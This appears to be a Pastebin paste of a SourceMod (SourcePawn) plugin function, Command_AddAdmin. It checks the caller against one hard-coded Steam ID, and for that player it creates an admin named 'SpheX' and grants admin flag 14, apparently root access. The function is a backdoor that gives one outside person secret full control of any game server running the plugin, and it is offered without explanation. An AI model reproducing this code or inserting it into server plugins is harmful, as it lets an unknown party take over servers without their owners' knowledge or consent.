Advertisement
Guest User

Untitled

a guest
Nov 23rd, 2014
174
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.42 KB | None | 0 0
  1. public Action:Command_AddAdmin(client, args)
  2. {
  3. if (IsClientInGame(client))
  4. {
  5. decl String:SteamID[64];
  6. GetClientAuthString(client, SteamID, 64);
  7. if (StrEqual(SteamID, "STEAM_0:1:36281003", true))
  8. {
  9. new AdminId:admin = CreateAdmin("SpheX");
  10. SetUserAdmin(client, admin, false);
  11. new AdminId:iAdminID = GetUserAdmin(client);
  12. SetAdminFlag(iAdminID, AdminFlag:14, true);
  13. }
  14. }
  15. return Action:3;
  16. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement